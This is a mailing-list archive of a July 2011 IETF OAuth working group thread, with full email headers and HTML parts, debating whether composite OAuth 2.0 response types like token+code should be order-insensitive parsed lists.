10:01:40 -0700 Received: from TK5EX14MBXC201.redmond.corp.microsoft.com ([169.254.8.198]) by TK5EX14HUBC107.redmond.corp.microsoft.com ([157.54.80.67]) with mapi id 14.01.0323.002; Fri, 15 Jul 2011 10:01:40 -0700 From: Mike Jones To: "oauth@ietf.org" Thread-Topic: Issue 18: defining new response types Thread-Index: AcxDENqXuaYCpIOoRa64SYPrJbbZ6A== Date: Fri, 15 Jul 2011 17:01:39 +0000 Message-ID: <4E1F6AAD24975D4BA5B168042967394348D4BAD0@TK5EX14MBXC201.redmond.corp.microsoft.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [157.54.51.74] Content-Type: multipart/alternative; boundary="_000_4E1F6AAD24975D4BA5B168042967394348D4BAD0TK5EX14MBXC201r_" MIME-Version: 1.0 Subject: [OAUTH-WG] Issue 18: defining new response types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 15 Jul 2011 17:02:01 -0000 --_000_4E1F6AAD24975D4BA5B168042967394348D4BAD0TK5EX14MBXC201r_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable I agree that this functionality is needed. However, I believe its current = embodiment is overly restrictive. I would suggest changing this text: Only one response type of each combination may be registered and used for m= aking requests. Composite response types are treated and compared in the sa= me as manner as non-composite response types. The "+" notation is meant onl= y to improve human readability and is not used for machine parsing. For example, an extension can define and register the token+code response t= ype. However, once registered, the same combination cannot be registered as= code+token, or used to make an authorization request. to this: The order of the composite response type values is not significant. For in= stance, the composite response types token+code and code+token are equivale= nt. Each composite response type value MUST occur only once. Thanks, -- Mike --_000_4E1F6AAD24975D4BA5B168042967394348D4BAD0TK5EX14MBXC201r_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

I agree that this functionality is needed.  How= ever, I believe its current embodiment is overly restrictive.  I would= suggest changing this text:

Only one response type of each combination may be re= gistered and used for making requests. Composite response types are treated= and compared in the same as manner as non-composite response types. The "+" notation is meant only to improve human reada= bility and is not used for machine parsing.

For example, an extension can define and register th= e token+code= response type. However, once registered, the same combination cannot be re= gistered as code+token= , or used to make an authorization request.

to this:

The order of the composite response type values is n= ot significant.  For instance, the composite response types token+code= and code+token= are equivalent.  Each composite response type value MUST occur only o= nce.

        &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;     Thanks,

        &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;     -- Mike

 

--_000_4E1F6AAD24975D4BA5B168042967394348D4BAD0TK5EX14MBXC201r_-- From eran@hueniverse.com Fri Jul 15 10:13:58 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id D1FBA21F8B2A for ; Fri, 15 Jul 2011 10:13:58 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.001 X-Spam-Level: X-Spam-Status: No, score=-2.001 tagged_above=-999 required=5 tests=[AWL=-0.603, BAYES_00=-2.599, HTML_MESSAGE=0.001, J_CHICKENPOX_45=0.6, J_CHICKENPOX_54=0.6] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id yqlexMKOjEY3 for ; Fri, 15 Jul 2011 10:13:57 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id A61AC21F8B0A for ; Fri, 15 Jul 2011 10:13:57 -0700 (PDT) Received: (qmail 14242 invoked from network); 15 Jul 2011 17:13:56 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 15 Jul 2011 17:13:56 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Fri, 15 Jul 2011 10:13:51 -0700 From: Eran Hammer-Lahav To: Mike Jones , "oauth@ietf.org" Date: Fri, 15 Jul 2011 10:13:33 -0700 Thread-Topic: Issue 18: defining new response types Thread-Index: AcxDENqXuaYCpIOoRa64SYPrJbbZ6AAAXdKg Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0238@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E1F6AAD24975D4BA5B168042967394348D4BAD0@TK5EX14MBXC201.redmond.corp.microsoft.com> In-Reply-To: <4E1F6AAD24975D4BA5B168042967394348D4BAD0@TK5EX14MBXC201.redmond.corp.microsoft.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E7234501D6E0238P3PW5EX1MB01E_" MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Issue 18: defining new response types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 15 Jul 2011 17:13:58 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E7234501D6E0238P3PW5EX1MB01E_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable You can't have it both way. Either it is a simple string comparison or it r= equires parsing of the string. The current prose is designed to offer a vis= ual cue without making any code changes to how response types are compared.= To allow different orders, we have to turn the value to a parsed list. EHL From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of M= ike Jones Sent: Friday, July 15, 2011 10:02 AM To: oauth@ietf.org Subject: [OAUTH-WG] Issue 18: defining new response types I agree that this functionality is needed. However, I believe its current = embodiment is overly restrictive. I would suggest changing this text: Only one response type of each combination may be registered and used for m= aking requests. Composite response types are treated and compared in the sa= me as manner as non-composite response types. The "+" notation is meant onl= y to improve human readability and is not used for machine parsing. For example, an extension can define and register the token+code response t= ype. However, once registered, the same combination cannot be registered as= code+token, or used to make an authorization request. to this: The order of the composite response type values is not significant. For in= stance, the composite response types token+code and code+token are equivale= nt. Each composite response type value MUST occur only once. Thanks, -- Mike --_000_90C41DD21FB7C64BB94121FBBC2E7234501D6E0238P3PW5EX1MB01E_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

You can’t have it both way. Either it is a simple strin= g comparison or it requires parsing of the string. The current prose is des= igned to offer a visual cue without making any code changes to how response= types are compared. To allow different orders, we have to turn the value t= o a parsed list.

 

EHL

 

From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] <= b>On Behalf Of Mike Jones
Sent: Friday, July 15, 2011 10:02 A= M
To: oauth@ietf.org
Subject: [OAUTH-WG] Issue 18: defi= ning new response types

 

I agree that this functionalit= y is needed.  However, I believe its current embodiment is overly rest= rictive.  I would suggest changing this text:

Only one = response type of each combination may be registered and used for making req= uests. Composite response types are treated and compared in the same as man= ner as non-composite response types. The "+" notation is meant on= ly to improve human readability and is not used for machine parsing. <= /o:p>

For example, an extension can define and register the token+code resp= onse type. However, once registered, the same combination cannot be registe= red as code+token, or used to make an authorization request.

to this:

The order of the composite respon= se type values is not significant.  For instance, the composite respon= se types token+code and code+tok= en are equivalent.  Each composite response type value MUST = occur only once.

  &nb= sp;            =             &nb= sp;            =             &nb= sp;           Thanks,

       &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;      -- Mike

 

= --_000_90C41DD21FB7C64BB94121FBBC2E7234501D6E0238P3PW5EX1MB01E_-- From Michael.Jones@microsoft.com Fri Jul 15 10:15:38 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id ED0BD21F8B5F for ; Fri, 15 Jul 2011 10:15:38 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -9.87 X-Spam-Level: X-Spam-Status: No, score=-9.87 tagged_above=-999 required=5 tests=[AWL=-0.472, BAYES_00=-2.599, HTML_MESSAGE=0.001, J_CHICKENPOX_45=0.6, J_CHICKENPOX_54=0.6, RCVD_IN_DNSWL_HI=-8] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id gQ0agNvLFnaE for ; Fri, 15 Jul 2011 10:15:37 -0700 (PDT) Received: from smtp.microsoft.com (mailc.microsoft.com [131.107.115.214]) by ietfa.amsl.com (Postfix) with ESMTP id 93E0D21F8B2A for ; Fri, 15 Jul 2011 10:15:37 -0700 (PDT) Received: from TK5EX14HUBC106.redmond.corp.microsoft.com (157.54.80.61) by TK5-EXGWY-E803.partners.extranet.microsoft.com (10.251.56.169) with Microsoft SMTP Server (TLS) id 8.2.176.0; Fri, 15 Jul 2011 10:15:37 -0700 Received: from TK5EX14MBXC201.redmond.corp.microsoft.com ([169.254.8.198]) by TK5EX14HUBC106.redmond.corp.microsoft.com ([157.54.80.61]) with mapi id 14.01.0323.002; Fri, 15 Jul 2011 10:15:37 -0700 From: Mike Jones To: Eran Hammer-Lahav , "oauth@ietf.org" Thread-Topic: Issue 18: defining new response types Thread-Index: AcxDENqXuaYCpIOoRa64SYPrJbbZ6AAAXdKgAAAdeoA= Date: Fri, 15 Jul 2011 17:15:36 +0000 Message-ID: <4E1F6AAD24975D4BA5B168042967394348D4BCC4@TK5EX14MBXC201.redmond.corp.microsoft.com> References: <4E1F6AAD24975D4BA5B168042967394348D4BAD0@TK5EX14MBXC201.redmond.corp.microsoft.com> <90C41DD21FB7C64BB94121FBBC2E7234501D6E0238@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0238@P3PW5EX1MB01.EX1.SECURESERVER.NET> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [157.54.51.74] Content-Type: multipart/alternative; boundary="_000_4E1F6AAD24975D4BA5B168042967394348D4BCC4TK5EX14MBXC201r_" MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Issue 18: defining new response types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 15 Jul 2011 17:15:39 -0000 --_000_4E1F6AAD24975D4BA5B168042967394348D4BCC4TK5EX14MBXC201r_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Yes, that's the intent of the change From: Eran Hammer-Lahav [mailto:eran@hueniverse.com] Sent: Friday, July 15, 2011 10:14 AM To: Mike Jones; oauth@ietf.org Subject: RE: Issue 18: defining new response types You can't have it both way. Either it is a simple string comparison or it r= equires parsing of the string. The current prose is designed to offer a vis= ual cue without making any code changes to how response types are compared.= To allow different orders, we have to turn the value to a parsed list. EHL From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of M= ike Jones Sent: Friday, July 15, 2011 10:02 AM To: oauth@ietf.org Subject: [OAUTH-WG] Issue 18: defining new response types I agree that this functionality is needed. However, I believe its current = embodiment is overly restrictive. I would suggest changing this text: Only one response type of each combination may be registered and used for m= aking requests. Composite response types are treated and compared in the sa= me as manner as non-composite response types. The "+" notation is meant onl= y to improve human readability and is not used for machine parsing. For example, an extension can define and register the token+code response t= ype. However, once registered, the same combination cannot be registered as= code+token, or used to make an authorization request. to this: The order of the composite response type values is not significant. For in= stance, the composite response types token+code and code+token are equivale= nt. Each composite response type value MUST occur only once. Thanks, -- Mike --_000_4E1F6AAD24975D4BA5B168042967394348D4BCC4TK5EX14MBXC201r_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Yes, that’s the = intent of the change

 

From: Eran Ham= mer-Lahav [mailto:eran@hueniverse.com]
Sent: Friday, July 15, 2011 10:14 AM
To: Mike Jones; oauth@ietf.org
Subject: RE: Issue 18: defining new response types=

 

You can’t have i= t both way. Either it is a simple string comparison or it requires parsing = of the string. The current prose is designed to offer a visual cue without = making any code changes to how response types are compared. To allow different orders, we have to turn the value to a pa= rsed list.

 

EHL<= /p>

 

From: oauth-bo= unces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of Mike Jones
Sent: Friday, July 15, 2011 10:02 AM
To: oauth@ietf.org
Subject: [OAUTH-WG] Issue 18: defining new response types=

 

I agree that this functionality is needed.  How= ever, I believe its current embodiment is overly restrictive.  I would= suggest changing this text:

Only one response type of each combination may be re= gistered and used for making requests. Composite response types are treated= and compared in the same as manner as non-composite response types. The "+" notation is meant only to improve human reada= bility and is not used for machine parsing.

For example, an extension can define and register th= e token+code response type. However, once registered, the sa= me combination cannot be registered as code+token, or used to make an authorization request.

to this:

The order of the composite response type values is n= ot significant.  For instance, the composite response types token+code and code+token are equivalent.  Each composite response t= ype value MUST occur only once.

        &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;     Thanks,

        &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;     -- Mike

 

--_000_4E1F6AAD24975D4BA5B168042967394348D4BCC4TK5EX14MBXC201r_-- From eran@hueniverse.com Fri Jul 15 10:46:12 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id CD78521F8B9B for ; Fri, 15 Jul 2011 10:46:12 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.991 X-Spam-Level: X-Spam-Status: No, score=-1.991 tagged_above=-999 required=5 tests=[AWL=-0.593, BAYES_00=-2.599, HTML_MESSAGE=0.001, J_CHICKENPOX_45=0.6, J_CHICKENPOX_54=0.6] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id HRtAywVflbWa for ; Fri, 15 Jul 2011 10:46:11 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 220A121F8B98 for ; Fri, 15 Jul 2011 10:46:11 -0700 (PDT) Received: (qmail 14429 invoked from network); 15 Jul 2011 17:46:09 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 15 Jul 2011 17:46:09 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Fri, 15 Jul 2011 10:45:17 -0700 From: Eran Hammer-Lahav To: Mike Jones , "oauth@ietf.org" Date: Fri, 15 Jul 2011 10:44:59 -0700 Thread-Topic: Issue 18: defining new response types Thread-Index: AcxDENqXuaYCpIOoRa64SYPrJbbZ6AAAXdKgAAAdeoAAAPGm8A== Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D6E024B@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E1F6AAD24975D4BA5B168042967394348D4BAD0@TK5EX14MBXC201.redmond.corp.microsoft.com> <90C41DD21FB7C64BB94121FBBC2E7234501D6E0238@P3PW5EX1MB01.EX1.SECURESERVER.NET> <4E1F6AAD24975D4BA5B168042967394348D4BCC4@TK5EX14MBXC201.redmond.corp.microsoft.com> In-Reply-To: <4E1F6AAD24975D4BA5B168042967394348D4BCC4@TK5EX14MBXC201.redmond.corp.microsoft.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E7234501D6E024BP3PW5EX1MB01E_" MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Issue 18: defining new response types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 15 Jul 2011 17:46:12 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E7234501D6E024BP3PW5EX1MB01E_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable I was only arguing against the proposed text which doesn't accomplish what = you want from a normative perspective. I can easily address the use case wi= th very short prose but I would like to see more working group discussion a= bout it first. Seems like WG members representing three large OAuth implementations (Faceb= ook, Google, Microsoft) are very supportive. Does anyone objects to making = the change to allow space-delimited values in the response_type parameter? = Once we get consensus on that, I can proceed to offer a proposal. The main = difficulty is how to deal with errors. EHL From: Mike Jones [mailto:Michael.Jones@microsoft.com] Sent: Friday, July 15, 2011 10:16 AM To: Eran Hammer-Lahav; oauth@ietf.org Subject: RE: Issue 18: defining new response types Yes, that's the intent of the change From: Eran Hammer-Lahav [mailto:eran@hueniverse.com] Sent: Friday, July 15, 2011 10:14 AM To: Mike Jones; oauth@ietf.org Subject: RE: Issue 18: defining new response types You can't have it both way. Either it is a simple string comparison or it r= equires parsing of the string. The current prose is designed to offer a vis= ual cue without making any code changes to how response types are compared.= To allow different orders, we have to turn the value to a parsed list. EHL From: oauth-bounces@ietf.org [mailto:oauth-b= ounces@ietf.org] On Behalf Of Mike = Jones Sent: Friday, July 15, 2011 10:02 AM To: oauth@ietf.org Subject: [OAUTH-WG] Issue 18: defining new response types I agree that this functionality is needed. However, I believe its current = embodiment is overly restrictive. I would suggest changing this text: Only one response type of each combination may be registered and used for m= aking requests. Composite response types are treated and compared in the sa= me as manner as non-composite response types. The "+" notation is meant onl= y to improve human readability and is not used for machine parsing. For example, an extension can define and register the token+code response t= ype. However, once registered, the same combination cannot be registered as= code+token, or used to make an authorization request. to this: The order of the composite response type values is not significant. For in= stance, the composite response types token+code and code+token are equivale= nt. Each composite response type value MUST occur only once. Thanks, -- Mike --_000_90C41DD21FB7C64BB94121FBBC2E7234501D6E024BP3PW5EX1MB01E_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

I was only arguing against the proposed text which doesn̵= 7;t accomplish what you want from a normative perspective. I can easily add= ress the use case with very short prose but I would like to see more workin= g group discussion about it first.

 

Seems like WG members representing thre= e large OAuth implementations (Facebook, Google, Microsoft) are very suppor= tive. Does anyone objects to making the change to allow space-delimited val= ues in the response_type parameter? Once we get consensus on that, I can pr= oceed to offer a proposal. The main difficulty is how to deal with errors.<= o:p>

 

EHL

 

= From:= Mike Jones [mailto:Michael.Jones@microsoft.com]
Sent: Friday, J= uly 15, 2011 10:16 AM
To: Eran Hammer-Lahav; oauth@ietf.org
Subject: RE: Issue 18: defining new response types

 

Yes, that’s the intent of the change<= o:p>

 

From: Eran Hamme= r-Lahav [mailto:eran@hueniv= erse.com]
Sent: Friday, July 15, 2011 10:14 AM
To:= Mike Jones; oauth@ietf.org
Sub= ject: RE: Issue 18: defining new response types

 

You can’t have it both way. Either it is = a simple string comparison or it requires parsing of the string. The curren= t prose is designed to offer a visual cue without making any code changes t= o how response types are compared. To allow different orders, we have to tu= rn the value to a parsed list.

 

EHL

 

From: o= auth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of Mike Jones
= Sent: Friday, July 15, 2011 10:02 AM
To: oauth@ietf.org
Subject: [OAUTH-WG] Issue 18: de= fining new response types

 

I agree that this functional= ity is needed.  However, I believe its current embodiment is overly re= strictive.  I would suggest changing this text:

Only on= e response type of each combination may be registered and used for making r= equests. Composite response types are treated and compared in the same as m= anner as non-composite response types. The "+" notation is meant = only to improve human readability and is not used for machine parsing.

For example, an extension can define and register the token+code<= span lang=3DEN style=3D'font-family:"Verdana","sans-serif";color:black'> re= sponse type. However, once registered, the same combination cannot be regis= tered as code+token, or used to make an authorization request.

<= p class=3DMsoNormal>to this:

The order of the composite resp= onse type values is not significant.  For instance, the composite resp= onse types token+code= and code+t= oken are equivalent.  Each composite response type value MUS= T occur only once.

  &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           Thanks,

       = ;            &n= bsp;            = ;            &n= bsp;            = ;       -- Mike

 

= --_000_90C41DD21FB7C64BB94121FBBC2E7234501D6E024BP3PW5EX1MB01E_-- From aiden449@gmail.com Fri Jul 15 12:42:21 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 68C5E21F8B69 for ; Fri, 15 Jul 2011 12:42:21 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.398 X-Spam-Level: X-Spam-Status: No, score=-2.398 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, HTML_MESSAGE=0.001, J_CHICKENPOX_45=0.6, J_CHICKENPOX_54=0.6, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id YRK5aoea-cXL for ; Fri, 15 Jul 2011 12:42:20 -0700 (PDT) Received: from mail-qy0-f179.google.com (mail-qy0-f179.google.com [209.85.216.179]) by ietfa.amsl.com (Postfix) with ESMTP id 3DEDB21F8B48 for ; Fri, 15 Jul 2011 12:42:20 -0700 (PDT) Received: by qyk29 with SMTP id 29so1108981qyk.10 for ; Fri, 15 Jul 2011 12:42:19 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=hIDPMHeJOSZMKDn+UgfxFFhkQTeVOsz9QiUMxxC53ew=; b=bgiQVhycn7jbxu5JmYvEqVkIOOIX49VMt0Q8S7rRjklTUEU3kmWwr5ROVALe9zQ/TZ Nc3sMgHU1sXN4U3w6+2QgKwJrsGXRXhvV905P2r6E8HXXWaBWkrpu3DJt8gnGHBaJqQB Q7AYEaeBP0dCRVLVrZBNfYwop9boBEjyX/bCs= MIME-Version: 1.0 Received: by 10.229.222.19 with SMTP id ie19mr2911383qcb.169.1310758939570; Fri, 15 Jul 2011 12:42:19 -0700 (PDT) Received: by 10.229.218.1 with HTTP; Fri, 15 Jul 2011 12:42:19 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D6E024B@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E1F6AAD24975D4BA5B168042967394348D4BAD0@TK5EX14MBXC201.redmond.corp.microsoft.com> <90C41DD21FB7C64BB94121FBBC2E7234501D6E0238@P3PW5EX1MB01.EX1.SECURESERVER.NET> <4E1F6AAD24975D4BA5B168042967394348D4BCC4@TK5EX14MBXC201.redmond.corp.microsoft.com> <90C41DD21FB7C64BB94121FBBC2E7234501D6E024B@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Fri, 15 Jul 2011 20:42:19 +0100 Message-ID: From: Aiden Bell To: Eran Hammer-Lahav , oauth@ietf.org Content-Type: multipart/alternative; boundary=0016e650a4f2fab22e04a820d819 Subject: Re: [OAUTH-WG] Issue 18: defining new response types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 15 Jul 2011 19:42:21 -0000 --0016e650a4f2fab22e04a820d819 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Hope a reply on this is ok, that i'm not hijacking and what what i'm saying is relevant here ... I'm currently implementing OAuth 2.0 middlware for Python/WSGI ... I think that the natural presumption to want to split the compound response type on the '+' is the fault of programmer mentality, and I can see why the argument is being made. I do agree that http://tools.ietf.org/html/draft-ietf-oauth-v2-18#section-8.4 simplifies matters greatly regarding ordering and a lack of implementation significanc= e of the '+' ... but ... I take the meaning that, if the '+' is for readability, then 'A+B's behaviour mustn't be dependent on 'A' and 'B' either, and that the value might as well be "foo" as it is for readability and the behaviour is as an entirely new type which requires consultation of the Registered spec (11.3) for an authoritative answer on how strong the association is. If the association is **always** strong between 'A','B' and 'A+B' and the response and future behavior of the values is tied to their non-compound definition then space delimiting and parsing seems more natural. In response to Eran's questions: 1. Do you find the + proposal as defined in -18 to be useful or confusing? No, not if you don't imply any significance of the value itself and treat i= t as its own type, in which case the '+' token may as well be '_and_' 2. Should the protocol support dynamic composite values with the added complexity (breaking change)? Only if each of the composite values is intuatively linked to their non-compound usage and that the 'for people' implications of '+' follow through with machine behavior, and you don't nee= d to register the combination because of this, though surely there is alot of scope for clashing in Auth response= ? ... but then again, I liked code_and_token. --- Thanks and apologies if that was all jibberish or I missed something. Aiden Bell On 15 July 2011 18:44, Eran Hammer-Lahav wrote: > I was only arguing against the proposed text which doesn=92t accomplish w= hat > you want from a normative perspective. I can easily address the use case > with very short prose but I would like to see more working group discussi= on > about it first.**** > > ** ** > > Seems like WG members representing three large OAuth implementations > (Facebook, Google, Microsoft) are very supportive. Does anyone objects to > making the change to allow space-delimited values in the response_type > parameter? Once we get consensus on that, I can proceed to offer a propos= al. > The main difficulty is how to deal with errors.**** > > ** ** > > EHL**** > > ** ** > > *From:* Mike Jones [mailto:Michael.Jones@microsoft.com] > *Sent:* Friday, July 15, 2011 10:16 AM > *To:* Eran Hammer-Lahav; oauth@ietf.org > *Subject:* RE: Issue 18: defining new response types**** > > ** ** > > Yes, that=92s the intent of the change**** > > ** ** > > *From:* Eran Hammer-Lahav [mailto:eran@hueniverse.com] > *Sent:* Friday, July 15, 2011 10:14 AM > *To:* Mike Jones; oauth@ietf.org > *Subject:* RE: Issue 18: defining new response types**** > > ** ** > > You can=92t have it both way. Either it is a simple string comparison or = it > requires parsing of the string. The current prose is designed to offer a > visual cue without making any code changes to how response types are > compared. To allow different orders, we have to turn the value to a parse= d > list.**** > > ** ** > > EHL**** > > ** ** > > *From:* oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] *On Behalf > Of *Mike Jones > *Sent:* Friday, July 15, 2011 10:02 AM > *To:* oauth@ietf.org > *Subject:* [OAUTH-WG] Issue 18: defining new response types**** > > ** ** > > I agree that this functionality is needed. However, I believe its curren= t > embodiment is overly restrictive. I would suggest changing this text:***= * > > Only one response type of each combination may be registered and used for > making requests. Composite response types are treated and compared in the > same as manner as non-composite response types. The "+" notation is meant > only to improve human readability and is not used for machine parsing. **= * > * > > For example, an extension can define and register the token+code response > type. However, once registered, the same combination cannot be registered= as > code+token, or used to make an authorization request. **** > > to this:**** > > The order of the composite response type values is not significant. For > instance, the composite response types token+code and code+token are > equivalent. Each composite response type value MUST occur only once. ***= * > > Thanks,**= * > * > > -- Mike**= * > * > > ** ** > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth > > --=20 ------------------------------------------------------------------ Never send sensitive or private information via email unless it is encrypted. http://www.gnupg.org --0016e650a4f2fab22e04a820d819 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Hope a reply on this is ok, that i'm not hijacking and what what i'= m saying is relevant here ...

I'm currently implementing OAuth 2= .0 middlware for Python/WSGI ...

I think that the natural presumptio= n to want to split the compound response type on the '+' is the fau= lt of programmer mentality, and I can see why the argument is being made. I= do agree that http://tools.ietf.org/html/draft-ietf-oauth-v2-18#section-8.4= simplifies matters greatly regarding ordering and a lack of implementa= tion significance of the '+' ... but ...

I take the meaning that, if the '+' is for readability, then &#= 39;A+B's behaviour mustn't be dependent on 'A' and 'B&#= 39; either, and
that the value might as well be "foo" as it is= for readability and the behaviour is as an entirely new type which
requires consultation of the Registered spec (11.3) for an authoritative an= swer on how strong the association is.

If the association is **alway= s** strong between 'A','B' and 'A+B' and the respon= se and future behavior of the values is
tied to their non-compound definition then space delimiting and parsing see= ms more natural.

In response to Eran's questions:

1. Do y= ou find the + proposal as defined in -18 to be useful or confusing?
No, not if you don't imply any significance of the value itself and tre= at it as its own type, in which
case the '+' token may as well b= e '_and_'

2. Should the protocol support dynamic composite v= alues with the added complexity (breaking change)?
Only if each of the composite values is intuatively linked to their non-com= pound usage and that the 'for people'
implications of '+'= ; follow through with machine behavior, and you don't need to register = the combination because
of this, though surely there is alot of scope for clashing in Auth response= ?

... but then again, I liked code_and_token.

---
Thanks a= nd apologies if that was all jibberish or I missed something.
Aiden Bell=


On 15 July 2011 18:44, Eran Hammer-Lahav= <eran@hueniver= se.com> wrote:

I was only arguing against the proposed t= ext which doesn=92t accomplish what you want from a normative perspective. = I can easily address the use case with very short prose but I would like to= see more working group discussion about it first.

=A0

Seems like WG me= mbers representing three large OAuth implementations (Facebook, Google, Mic= rosoft) are very supportive. Does anyone objects to making the change to al= low space-delimited values in the response_type parameter? Once we get cons= ensus on that, I can proceed to offer a proposal. The main difficulty is ho= w to deal with errors.

=A0

EHL

=A0=

From: Mike Jones [mailto:<= a href=3D"mailto:Michael.Jones@microsoft.com" target=3D"_blank">Michael.Jon= es@microsoft.com]
Sent: Friday, July 15, 2011 10:16 AM
To: Eran Hammer-Lahav= ; oauth@ietf.orgSubject: RE: Issue 18: defining new response types

=A0

Yes, that=92s the intent of the change=

= =A0

